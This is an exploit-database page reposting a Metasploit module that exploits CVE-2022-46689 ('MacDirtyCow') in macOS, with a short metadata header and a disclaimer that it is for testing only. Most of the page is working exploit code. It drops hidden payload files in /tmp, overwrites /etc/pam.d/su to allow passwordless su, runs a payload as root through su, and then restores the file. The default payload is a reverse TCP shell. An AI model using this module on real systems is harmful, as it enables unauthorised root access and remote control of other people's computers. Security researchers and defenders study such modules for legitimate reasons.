Advertisement






macOS Dirty Cow Arbitrary File Write Local Privilege Escalation

CVE Category Price Severity
CVE-2022-46689 CWE-269 $50,000 High
Author Risk Exploitation Type Date
Unnamed High Local 2023-02-06
CPE
cpe:cpe:/o:apple:macos
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 0.8573 0.9583

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023020013

Below is a copy:

macOS Dirty Cow Arbitrary File Write Local Privilege Escalation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'macOS Dirty Cow Arbitrary File Write Local Privilege Escalation',
        'Description' => %q{
          An app may be able to execute arbitrary code with kernel privileges
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ian Beer', # discovery
          'Zhuowei Zhang', # proof of concept
          'timwr' # metasploit integration
        ],
        'References' => [
          ['CVE', '2022-46689'],
          ['URL', 'https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c'],
          ['URL', 'https://github.com/zhuowei/MacDirtyCowDemo'],
        ],
        'Platform' => 'osx',
        'Arch' => ARCH_X64,
        'SessionTypes' => ['shell', 'meterpreter'],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' },
        'Targets' => [
          [ 'Mac OS X x64 (Native Payload)', {} ],
        ],
        'DisclosureDate' => '2022-12-17',
        'Notes' => {
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE]
        }
      )
    )
    register_advanced_options [
      OptString.new('TargetFile', [ true, 'The pam.d file to overwrite', '/etc/pam.d/su' ]),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def check
    version = Rex::Version.new(get_system_version)
    if version > Rex::Version.new('13.0.1')
      CheckCode::Safe
    elsif version < Rex::Version.new('13.0') && version > Rex::Version.new('12.6.1')
      CheckCode::Safe
    elsif version < Rex::Version.new('10.15')
      CheckCode::Safe
    else
      CheckCode::Appears
    end
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end

    payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
    binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
    upload_and_chmodx payload_file, binary_payload
    register_file_for_cleanup payload_file

    target_file = datastore['TargetFile']
    current_content = read_file(target_file)
    backup_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
    unless write_file(backup_file, current_content)
      fail_with Failure::BadConfig, "#{backup_file} is not writable"
    end
    register_file_for_cleanup backup_file

    replace_content = current_content.sub('rootok', 'permit')

    replace_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
    unless write_file(replace_file, replace_content)
      fail_with Failure::BadConfig, "#{replace_file} is not writable"
    end
    register_file_for_cleanup replace_file

    exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
    exploit_exe = exploit_data 'CVE-2022-46689', 'exploit'
    upload_and_chmodx exploit_file, exploit_exe
    register_file_for_cleanup exploit_file

    exploit_cmd = "#{exploit_file} #{target_file} #{replace_file}"
    print_status("Executing exploit '#{exploit_cmd}'")
    result = cmd_exec(exploit_cmd)
    print_status("Exploit result:\n#{result}")

    su_cmd = "echo '#{payload_file} & disown' | su"
    print_status("Running cmd:\n#{su_cmd}")
    result = cmd_exec(su_cmd)
    unless result.blank?
      print_status("Command output:\n#{result}")
    end

    exploit_cmd = "#{exploit_file} #{target_file} #{backup_file}"
    print_status("Executing exploit (restoring) '#{exploit_cmd}'")
    result = cmd_exec(exploit_cmd)
    print_status("Exploit result:\n#{result}")
  end

end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum